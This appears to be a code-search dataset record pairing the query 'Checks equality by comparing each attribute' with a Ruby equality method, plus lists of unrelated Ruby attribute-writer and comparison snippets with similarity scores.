"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Checks equality by comparing each attribute. | def ==(o)
return true if self.equal?(o)
self.class == o.class &&
store_id == o.store_id &&
client_locale == o.client_locale &&
transaction_amount == o.transaction_amount &&
transaction_type == o.transaction_type &&
order_id == o.order_id &&
billing == o.billing &&
shipping == o.shipping &&
transaction_notification_url == o.transaction_notification_url &&
expiration == o.expiration &&
authenticate_transaction == o.authenticate_transaction &&
dynamic_merchant_name == o.dynamic_merchant_name &&
invoice_number == o.invoice_number &&
purchase_order_number == o.purchase_order_number &&
hosted_payment_page_text == o.hosted_payment_page_text &&
ip == o.ip &&
revolving_options == o.revolving_options &&
installment_options == o.installment_options &&
basket == o.basket
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ==(other)\n attributes == other.attributes\n end",
"def ==(other) # :nodoc:\n @attrs == other.attrs\n end",
"def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end",
"def assert_equal_attributes(object, expected_attributes)\n expected_attributes.each do |index, value|\n assert_equal value, object[index], \"#{index}\"\n end\n end",
"def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end",
"def same_attributes?(spec)\n @@attributes.all? {|name, default| self.send(name) == spec.send(name) }\n end",
"def ==(other)\n self.class.valid_attrs.each do |attr|\n return false if read(attr) != other.read(attr)\n end\n true\n end",
"def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end",
"def ==(other)\n other.present? && self.attributes == other.attributes\n end",
"def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end",
"def match?(attributes)\n attributes.each do |attr, val|\n return false if send(attr).to_s != val.to_s\n end\n true\n end",
"def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.send(name) }\n end",
"def changed?(comparison)\n attributes.any? do |attribute, value|\n next unless comparison.key?(attribute)\n comparison[attribute] != value\n end\n end",
"def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end",
"def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end",
"def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n Attribute === other && \n !(Expression === other) &&\n relation == other.relation && \n name == other.name && \n self.alias == other.alias && \n original_relation == other.original_relation\n end",
"def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def ==(other)\n case other\n when Chair::Row\n @attributes == other.instance_variable_get('@attributes')\n when Array\n @attributes.values == other\n else false\n end\n end",
"def == other\n return false unless other.kind_of? self.class\n attribute_of.all? do |key, val|\n val.get == other.__send__(key)\n end\n end",
"def correct_combination?(attr1, attr2, attr3)\n result = false\n if attr1 == attr2 && attr2 == attr3\n result = true\n elsif attr1 != attr2 && attr2 != attr3 && attr1 != attr3\n result = true\n end\n return result\n end",
"def ==(other)\n return false if self.class != other.class\n return super if @_lazer_model.required_properties.empty?\n @_lazer_model.required_properties.each do |key_name|\n return false if read_attribute(key_name) != other.read_attribute(key_name)\n end\n true\n end",
"def eql?(other)\n other.is_a?(self.class) && !self.class.comparison_attrs.find{|a| send(a) != other.send(a)}\n end",
"def verify_attributes(hash, expected)\n return [] unless expected.attributes\n expected.attributes.map{ |a| verify_attribute_value(hash[a.name.to_s], a) }\n end",
"def assert_attributes obj, attr_hash\n default_attr_hash = {}\n if obj.respond_to? :default_attr_hash\n default_attr_hash = obj.default_attr_hash\n end\n default_attr_hash.merge(attr_hash).each_pair do |key, value|\n assert_equal value, obj.__send__(key), \"Attribute #{key} of #{obj}\"\n end\n end",
"def match_attributes(attrs)\n attrs = Saxxy::Helpers.stringify_keys(attrs)\n attributes.reduce(true) do |b, (k, v)|\n value = attrs[k]\n b && ((!value.nil? && match(v, value)) || (v.nil? && value.nil?))\n end\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end",
"def ===(other)\n required = self.class.required_attributes\n\n other.respond_to?(:keys) && (common = other.keys & required) &&\n common.size == other.keys.size && common.size == required.size\n end",
"def bt_same_value?(other)\n bt_value_attributes == other.bt_value_attributes\n end",
"def ==(x)\n return true if object_id == x.object_id\n return false unless x.kind_of?(AttrArray)\n each_with_index do |a, n|\n return false unless a == x[n]\n end\n true\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left == right, message)\n end",
"def compare_attributes(data_criteria, criteria)\n return false unless data_criteria['dataElementAttributes']&.any?\n\n data_criteria['dataElementAttributes'].map { |dc| dc.except('_id') }.include? criteria['dataElementAttributes'][attribute_index].except('_id')\n end",
"def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end",
"def ==(other)\n other.is_a?(self.class) &&\n other.attribute == attribute &&\n other.validation == validation &&\n other.expected == expected &&\n other.actual == actual\n end",
"def == other\n return false unless self.class == other.class\n [:unit, :frequency, :anchor, :weeks, :monthdays, :weekdays, :times].all? do |attribute|\n self.send(attribute) == other.send(attribute)\n end\n end",
